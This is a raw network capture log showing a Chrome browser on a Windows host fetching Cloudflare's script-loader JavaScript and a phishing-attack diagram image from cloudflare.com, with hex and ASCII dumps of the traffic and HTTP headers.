2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 74 29 7b 72 65 74 75 72 6e 20 61 28 74 2c 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 65 28 29 2c 74 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 65 29 7b 74 2e 6f 6e 6c 6f 61 64 3d 73 28 74 2e 6f 6e 6c 6f 61 64 2c 65 29 2c 74 2e 6f 6e 65 72 72 6f 72 3d 73 28 74 2e 6f 6e 65 72 72 6f 72 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 74 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 22 73 63 72 69 70 74 22 29 3b 65 2e 61 73 79 6e 63 3d 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 29 2c 65 2e 74 65 Data Ascii: t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"),e.te
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 21 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 54 29 3b 72 65 74 75 72 6e 7b 6e 6f 6e 63 65 3a 6e 5b 30 5d 2c 68 61 6e 64 6c 65 72 50 72 65 66 69 78 4c 65 6e 67 74 68 3a 2b 6e 5b 31 5d 2c 62 61 69 6c 6f 75 74 3a 21 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 65 66 65 72 22 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 29 7b 76 61 72 20 65 3d 42 2b 74 2e 6e 6f 6e 63 65 3b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 22 2b 65 2b 22 5d 22 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 65 29 2c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e Data Ascii: !e)return null;var n=e.split(T);return{nonce:n[0],handlerPrefixLength:+n[1],bailout:!t.hasAttribute("defer")}}function g(t){var e=B+t.nonce;Array.prototype.forEach.call(document.querySelectorAll("["+e+"]"),function(n){n.removeAttribute(e),Array.prototype.
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 31 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 32 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 33 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 34 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 35 22 3a 21 30 2c 22 74 65 78 74 2f 6a 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 6c 69 76 65 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 65 63 6d 61 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 22 3a 21 30 2c 6d 6f 64 75 6c 65 3a 21 30 7d 2c 6b 3d 76 6f 69 64 20 30 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 Data Ascii: 0,"text/javascript1.1":!0,"text/javascript1.2":!0,"text/javascript1.3":!0,"text/javascript1.4":!0,"text/javascript1.5":!0,"text/jscript":!0,"text/livescript":!0,"text/x-ecmascript":!0,"text/x-javascript":!0,module:!0},k=void 0!==document.createElement("sc
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 79 70 65 2e 68 61 73 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 6e 6f 6e 63 65 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 2e 74 79 70 65 2e 73 75 62 73 74 72 28 74 68 69 73 2e 6e 6f 6e 63 65 2e 6c 65 6e 67 74 68 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 6b 65 4e 6f 6e 45 78 65 63 75 74 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 68 69 73 2e 6e 6f 6e 63 65 2b 74 2e 74 79 70 65 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 65 6e 64 69 6e 67 44 65 66 Data Ascii: ype.hasNonce=function(t){return 0===(t.getAttribute("type")\|\|"").indexOf(this.nonce)},t.prototype.removeNonce=function(t){t.type=t.type.substr(this.nonce.length)},t.prototype.makeNonExecutable=function(t){t.type=this.nonce+t.type},t.prototype.isPendingDef
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 65 2e 65 6e 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 69 6e 73 65 72 74 69 6f 6e 50 6f 69 6e 74 4d 61 72 6b 65 72 3d 74 2c 74 68 69 73 2e 62 75 66 66 65 72 3d 22 22 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 65 2e 77 72 69 74 65 28 74 2c 21 31 29 7d 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 Data Ascii: e.enable=function(t){var e=this;this.insertionPointMarker=t,this.buffer="",document.write=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return e.write(t,!1)},document.writeln=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=a
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 6e 26 26 69 28 6e 29 26 26 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 29 3f 28 72 3d 65 3f 5f 3a 4c 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 72 2c 5b 64 6f 63 75 6d 65 6e 74 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3a 74 68 69 73 2e 62 75 66 66 65 72 2b 3d 74 2e 6d 61 70 28 53 74 72 69 6e 67 29 2e 6a 6f 69 6e 28 65 3f 22 5c 6e 22 3a 22 22 29 3b 76 61 72 20 72 7d 2c 74 7d 28 29 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 69 6d 75 6c 61 74 65 64 52 65 61 64 79 53 74 61 74 65 3d 22 6c 6f 61 64 69 6e 67 22 2c 74 68 Data Ascii: rite=function(t,e){var n=document.currentScript;n&&i(n)&&n.hasAttribute("async")?(r=e?_:L).call.apply(r,[document].concat(t)):this.buffer+=t.map(String).join(e?"\n":"");var r},t}(),j=function(){function t(){var t=this;this.simulatedReadyState="loading",th
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 72 6f 78 69 65 73 3d 21 30 7d 2c 30 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 75 70 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 50 72 6f 78 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 45 76 65 6e 74 54 61 72 67 65 74 3f 5b 45 76 65 6e 74 54 61 72 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 5d 3a 5b 4e 6f 64 65 2e 70 72 6f 74 6f 74 79 70 65 2c 57 69 6e 64 6f 77 2e 70 72 6f 74 6f 74 79 70 65 5d 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 67 65 74 4d 65 74 68 6f 64 73 28 65 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 67 65 74 4d 65 74 Data Ascii: roxies=!0},0)},t.prototype.setupEventListenerProxy=function(){var t=this;("undefined"!=typeof EventTarget?[EventTarget.prototype]:[Node.prototype,Window.prototype]).forEach(function(e){return t.patchEventTargetMethods(e)})},t.prototype.patchEventTargetMet
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 6f 72 22 2c 7b 76 61 6c 75 65 3a 6e 65 77 20 6a 7d 29 2c 74 2e 5f 5f 72 6f 63 6b 65 74 4c 6f 61 64 65 72 4c 6f 61 64 50 72 6f 67 72 65 73 73 53 69 6d 75 6c 61 74 6f 72 7d 28 29 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 3d 74 2c 74 68 69 73 2e 73 65 74 74 69 6e 67 73 3d 65 2c 74 68 69 73 2e 70 72 65 6c 6f 61 64 48 69 6e 74 73 3d 5b 5d 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 73 65 72 74 50 72 65 6c 6f 61 64 48 69 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 61 28 65 2c 74 2e 73 65 74 74 Data Ascii: or",{value:new j}),t.__rocketLoaderLoadProgressSimulator}(),W=function(){function t(t,e){this.scriptStack=t,this.settings=e,this.preloadHints=[]}return t.prototype.insertPreloadHints=function(){var t=this;this.scriptStack.forEach(function(e){if(a(e,t.sett
2024-10-18 13:48:02 UTC	767	IN	Data Raw: 63 72 69 70 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 2e 73 63 72 69 70 74 2c 72 3d 74 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 6f 3d 74 2e 65 78 74 65 72 6e 61 6c 2c 69 3d 74 2e 61 73 79 6e 63 2c 61 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 63 6f 6e 74 61 69 6e 73 28 72 29 29 72 65 74 75 72 6e 20 65 28 22 50 6c 61 63 65 68 6f 6c 64 65 72 20 66 6f 72 20 73 63 72 69 70 74 20 5c 6e 22 2b 6e 2e 6f 75 74 65 72 48 54 4d 4c 2b 22 5c 6e 20 77 61 73 20 64 65 74 61 63 68 65 64 20 66 72 6f 6d 20 64 6f 63 75 6d 65 6e 74 2e 22 2c 22 53 63 72 69 70 74 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 65 78 65 63 75 74 65 64 2e 22 29 2c 6e 75 6c 6c 3b 76 61 72 20 63 3d 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 62 6c 6f 63 Data Ascii: cript=function(t){var n=t.script,r=t.placeholder,o=t.external,i=t.async,a=r.parentNode;if(!document.contains(r))return e("Placeholder for script \n"+n.outerHTML+"\n was detached from document.","Script will not be executed."),null;var c=this.settings.bloc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	50707	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:02 UTC	603	OUT	GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	970	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: image/png Content-Length: 34038 Connection: close Accept-Ranges: bytes Cache-Control: public, max-age=0, must-revalidate ETag: "f881ce0909c7585c5f12986f7499f9db" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2xKTcpJ0ZdCMC9BdB%2FqVQmGzbKB%2FrXseXq164BvS%2B%2Foott2h7Yn0G%2BqNd0bXw%2FD0rMN7wSTR5SGLJVW3ISph4%2BjqeR6mY5%2FgR2tjsj59vdBTPHe8806WWI5G%2FzlgjTr6%2F8pt2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbd65e716c57-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	399	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 73 00 00 04 68 08 03 00 00 00 bb 00 fa da 00 00 01 b6 50 4c 54 45 ff ff ff 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f0 f0 df df e0 c5 c4 c6 be bd bf ab ac ae 99 9c 9e 9f a1 a3 cb ca cb f7 f8 f8 ff Data Ascii: PNGIHDRshPLTEqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: ab ab 78 77 77 e8 e7 e8 8d 8b 8c b6 b3 b4 de dc dc ca c7 c7 7e 7c 7c 88 86 86 fd fd fe f5 f4 f4 dc db dc c9 c7 c6 a6 a3 a3 86 84 84 f5 f4 f4 71 71 71 71 71 71 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 54 2b 19 33 00 00 00 92 74 52 4e 53 00 bb ff 44 22 77 88 dd ee 11 66 99 aa cc 55 33 20 40 50 80 60 90 e0 ff 10 a0 30 f0 d0 70 b0 c0 20 70 c0 a0 60 30 80 b0 90 d0 10 f0 e0 40 50 40 30 60 80 c0 ff f0 b0 50 20 e0 a0 10 d0 90 ff ff ff ff ff ff ff ff ff 70 ff ff ff ff ff 40 a0 d0 ff f0 c0 60 ff 10 b0 30 e0 ff 20 80 50 70 90 ff ff ff ff ff ff ff ff ff ff ff ff c4 f3 ff 88 98 f8 fd ff ff 3d b2 ff ff ff ff ff ff fc 2e 88 e6 f3 ff ff ff ff ff dc d8 97 40 ff 30 c0 20 80 10 60 90 e1 90 d0 0d 00 00 82 5d 49 44 41 54 78 01 ec d6 05 Data Ascii: xww~\|\|qqqqqqT+3tRNSD"wfU3 @P`0p p`0@P@0`P p@`0 Pp=.@0 `]IDATx
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: dd ec 63 da 8c ff dc 39 46 f7 de 0e 9e 21 c7 01 51 27 68 be 2b bb 72 08 52 ab eb da de d6 39 44 44 44 a4 8c d0 05 67 3e 16 3e cd f7 81 73 9a 57 68 76 ac 6e 9d a3 64 58 ec 43 9f 69 fc d2 39 68 6d 61 40 dc 09 9c 93 af 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 04 ab dd 64 f0 f3 15 e1 30 7f 1b 0c 54 83 0d 60 5f f6 1c 75 0e db ea 36 b3 b2 70 ea 5e ee 1c 63 8d 0a 02 82 4e 30 51 b9 2d 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 0a 53 fc 24 8b 67 60 d9 be 0f 76 07 18 7d 37 db a0 a9 30 03 07 df ec d6 39 6c 00 f6 da 4d 3c 7f ee 3e fd 7a 0f a9 3b 1f 06 b7 2a 0a 08 3a 41 f1 0c fc c3 9e 5d e0 48 12 02 00 14 a5 dd 5d a8 f6 fb 9f 72 dd 97 11 32 30 fa 5e 3c 55 58 8c 9f 30 e8 75 c3 ef 84 48 cd fa 4b ea 6c 9a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: c9F!Q'h+rR9DDDg>>sWhvndXCi9hma@Vsd0T`_u6p^cN0Q-VsS$g`v}709lM<>z;*:A]H]r20^<UX0uHKl
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: c0 d8 e4 be ef e7 28 ed f7 73 ac 73 0e 9b de d0 00 dd 57 59 63 1a 29 e0 e8 1c 84 d0 39 e8 1c e4 69 9c 11 e7 74 88 68 c3 ee e5 1d 71 3e 64 6b f8 6d bf d2 39 52 00 63 c5 62 e7 b8 f9 3a 2d 0d df 6d 71 d1 ea 69 e7 b0 e9 0d 17 dd 68 80 ce 34 2a 01 68 64 24 9d 83 10 3a 07 9d 83 3c c4 1e b3 9c de 8e 3b b1 9c 5f df 31 cf 51 b6 86 de 3e 91 bd 5f fe 3e 87 2f c9 b1 cc 39 2a 00 99 9f 1b 7f de 8a af 8e 3a 87 4d 6f 70 70 97 7f 03 f6 79 2b 76 24 9d 83 10 3a 07 9d 83 3c cc 19 cb f8 78 7b fd 73 96 2b bb f3 f1 d7 7e e9 c1 6d 3e 57 b6 ee e4 93 4c 6b e8 d2 2d eb 06 4f d0 16 0b 9d 23 03 d0 7e 9d be 74 68 fd 53 5d 1b 00 85 c4 ab ad 73 4c a7 37 e4 40 3d 7d cb 24 73 c3 93 6d 33 6d d4 8c a4 73 10 42 e7 a0 73 90 47 d8 e3 d9 1c 65 6b 64 05 46 96 3b 87 62 a4 6e a3 ce e1 69 86 7a 33 Data Ascii: (ssWYc)9ithq>dkm9Rcb:-mqih4hd$:<;_1Q>_>/9:Moppy+v$:<x{s+~m>WLk-O#~thS]sL7@=}$sm3msBsGekdF;bniz3
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 1c 50 28 1a a3 94 25 3f db 5e e3 ad ae 7e 58 9d 1d 5f ec f3 56 bb a4 2b a8 ff ac 2a 76 db 20 00 85 cd 11 b1 b3 41 f2 fd 49 67 31 e9 ad 63 93 68 0e 59 60 1a dd e0 b9 ec c6 0e b7 9d 1e 9c 58 3d 9c 9c f3 16 6b db a4 25 a8 df 56 95 7b a8 13 80 b2 e6 08 cb df ac 4c b0 9e 26 a4 6f 57 02 68 0e 49 50 32 46 cb 24 df 5a aa b4 16 c7 b1 25 c8 54 c7 8e 9e d1 01 77 55 0f dc 10 80 b2 e6 88 48 1f 3f 44 13 ac a7 88 f4 6f 8a a1 39 c0 e7 0f 65 85 a2 16 c9 71 75 62 49 b8 fc 85 e8 d0 dc 7d d5 0b 35 02 50 d5 1c 61 f9 31 8b 10 eb 23 2c 9d 09 01 34 07 f8 fc a1 ac 90 f3 7f 72 9c fe b0 24 1d 22 3a f4 f6 f3 3d 09 ee eb ea a2 a6 56 7d f3 48 00 8a 9a 23 22 5b 0c e2 8f f6 10 91 7e 20 13 42 73 80 8c b2 31 72 25 df 27 c7 fe b1 25 ed f2 17 a2 43 67 ef d3 1c 3f 49 9d a7 ea 1f ae 09 40 4d Data Ascii: P(%?^~X_V+*v AIg1chY`X=k%V{L&oWhIP2F$Z%TwUH?Do9equbI}5Pa1#,4r$":=V}H#"[~ Bs1r%'%Cg?I@M
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: aa 9a 63 6a e0 b9 8a 68 38 c5 3e a5 c2 51 22 34 87 07 30 40 8a 31 52 fe e1 47 9f e5 1c 96 6c 73 1c f0 77 3b 04 fa 36 87 f3 e8 b0 d7 72 a0 39 10 1d 2a 9a 43 c1 fb 91 68 70 2a f4 66 4a fc 7e 34 87 4b 60 d6 f0 b3 b2 2f 9e ad 1c 59 12 fe 22 9a 43 62 88 f4 0e fc e9 55 b2 39 1c bd 99 b5 ff a8 5c 73 34 ee c0 e7 fe e3 3f d5 45 87 f2 e6 50 af fb f2 73 34 07 2c 18 be 56 2a f8 61 0b a9 e5 56 73 1c f1 0f 55 f0 a7 3b e9 e6 b0 4b 42 7e 2d 87 64 73 5c 57 41 2b ce a3 03 cd 81 e6 c0 cd 8a 4f cd a1 39 c0 97 cd 61 0f 69 c8 ae e5 40 73 20 3a 34 6d 0e dc ad a8 87 9b 15 dc ae 28 68 0e f1 58 f6 bf aa a0 7d 73 d0 cf 66 74 5c 4b ac e5 78 22 34 07 a2 c3 b7 33 a4 68 0e c0 cd 8a 50 2a e8 df 1c 36 fd 9b 03 cd 61 7f 7a 45 b8 ef bb 96 a3 5a 7b 46 73 a0 39 7c f1 56 56 bd 28 9a 43 02 6e Data Ascii: cjh8>Q"40@1RGlsw;6r9ChpfJ~4K`/Y"CbU9\s4?EPs4,VaVsU;KB~-ds\WA+O9ai@s :4m(hX}sft\Kx"43hP6azEZ{Fs9\|VV(Cn
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 38 dd 56 aa c8 a6 38 e8 70 eb 98 63 8b f4 82 e6 b0 df be 4a a8 ff 6c 90 04 fb e5 2d 9a 03 d4 35 07 25 bb 1c 3b 04 99 5b a8 4d 98 09 53 68 0e 24 87 c4 20 85 50 58 98 2b 19 de c9 cc 88 e2 19 68 ac 24 eb c1 14 e9 2f b7 8e 39 16 49 43 68 8e 57 72 db 13 9a 03 94 37 87 dd 00 21 97 97 73 74 6e 99 08 13 02 68 8e 31 53 28 0d 32 4d 91 27 5b 3a 97 9d f7 a2 37 cc 32 09 83 4e 94 98 a4 cc 76 45 fe e9 8a cc a3 95 55 d2 0f 9a a3 a6 a2 0a 1a 0f 68 0e 50 dc 1c 51 26 24 a2 6a 9a 23 d8 39 14 a6 09 cd 31 66 e6 8c 81 94 66 d2 d4 a2 b0 60 66 8a 86 2a f3 d9 99 3c b5 5a c8 0e f8 cb ca a4 cc 0a ff 70 7a 62 0d e1 88 e3 98 43 43 f6 07 e8 55 a8 bf a2 39 40 6d 73 50 8c 09 21 0f 9a 23 c5 84 30 9a 63 cc 94 87 28 01 71 da 21 a4 17 cc d9 79 c3 55 c5 cc dc 4c 99 da 14 06 09 0e 21 43 ca 6c Data Ascii: 8V8pcJl-5%;[MSh$ PX+h$/9IChWr7!stnh1S(2M'[:72NvEUhPQ&$j#91ff`f*<ZpzbCCU9@msP!#0c(q!yUL!Cl
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 34 07 ba bc b9 db 5d 1c a9 00 00 cd 71 8d a7 e7 64 4c 2b 11 9a 63 72 c8 8e 5a 4b 01 00 9a e3 6a 8b 4f de ca 41 73 c0 df d5 22 8b 65 c2 01 80 e6 18 cb 6c 9d 8c e3 b0 91 cb d0 1c 48 b3 63 63 be be ba ea 9c 00 00 cd 31 9a cd 2a 19 c1 7e 29 43 d0 1c 28 bf 76 77 b4 79 91 0a 00 d0 1c 23 db 1d 92 6b 6d 37 42 73 20 a6 3b da 2f 39 df a0 37 00 d0 1c b7 b2 5c 27 d7 38 cc 24 12 cd 81 b4 ab ac f9 32 da a3 7a 01 00 9a e3 86 36 8b 7d 12 6b 3d 93 eb d0 1c 28 0b b5 8d f9 b7 ea a3 7a 27 03 00 00 cd 11 5b 1d 71 b3 8e c3 5c 46 41 73 c0 79 cd ff 49 79 b4 56 0b 2f 11 00 80 e6 88 b4 7c 4e 86 da ce 24 0e cd 01 0d 1f 0b 71 be 50 6b cd a7 68 6c ae 5d 19 9c bb e4 ad 17 00 a0 39 6e 67 b7 dd 27 97 5b bf 3c 49 2c 9a 03 6a 4e ea 3c 2b 25 c4 f9 4e 2b 6b 6f d5 1a 47 cd fc b9 2f fe b6 cc Data Ascii: 4]qdL+crZKjOAs"elHcc1*~)C(vwy#km7Bs ;/97\'8$2z6}k=(z'[q\FAsyIyV/\|N$qPkhl]9ng'[<I,jN<+%N+koG/
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 c0 10 37 87 f2 9b 01 70 8e 88 a1 ff 15 ef 02 99 03 40 3f fe a5 5d 1c ae f1 4d 27 73 fc 3d 00 a6 b8 19 1b 8b 6b 17 be c4 aa bc 22 bf eb 75 30 c6 77 b3 cc f1 d7 00 a8 b1 ea cb 46 1f ab 2a 73 fc 1e f4 71 37 fe 35 99 03 80 25 56 73 2b 87 fc 9e d9 0a d4 b8 eb fa c6 85 b9 da 5e fa f3 32 07 80 e1 ca 18 37 87 e7 ef 06 cd 4d 3f bf 0b 5e 76 88 7f 5c 1b 19 b9 ee 97 fe 88 cc 01 40 8d 9b ae 35 5a 79 e0 d3 9a 3e 24 a7 b8 19 bb 46 16 38 7f ac b5 f3 1f 9b 39 00 0c 57 ae b1 ea cb 43 b9 e9 c3 67 e6 e0 79 6c d4 61 f7 b1 d6 ba 3f 2b 73 00 18 ae 9c 1b a3 95 87 72 d3 87 cf 2c c9 be c6 87 c2 9a 5b 4b 32 c7 9f 0a 30 5c e9 bb 97 9a f8 cf 37 7d 48 96 b8 99 4a ff fd df 7f 5d 63 ab bd b4 3a d6 21 56 b5 96 9d 63 3d c4 cd 54 af cd cc 31 ec 36 cc cc Data Ascii: 7p@?]M's=k"u0wF*sq75%Vs+^27M?^v\@5Zy>$F89WCgyla?+sr,[K20\7}HJ]c:!Vc=T16
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 96 1f 26 91 f9 1c 37 87 7a 2c ab c6 d2 75 ad b9 4b 5d 03 42 b7 0b 07 f5 1c ab a1 f6 cd 02 3d 75 39 7b f7 f7 37 5c 6a fd d4 bd b2 00 86 2b 63 69 67 8e 76 cb 6e 37 fd af ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 63 ef 5e d6 93 68 ba 36 8e af 8b f9 77 0e 1a 4d 34 31 09 20 ab 25 6c c2 ae a1 03 05 c3 4c 18 69 e2 93 3c ea ec 8b ef 7e 73 ee af 5a 80 a0 49 ba a0 2b 5a 74 fe bf 63 e0 ea eb a6 6a d5 ba 4f 8a d5 d7 56 b5 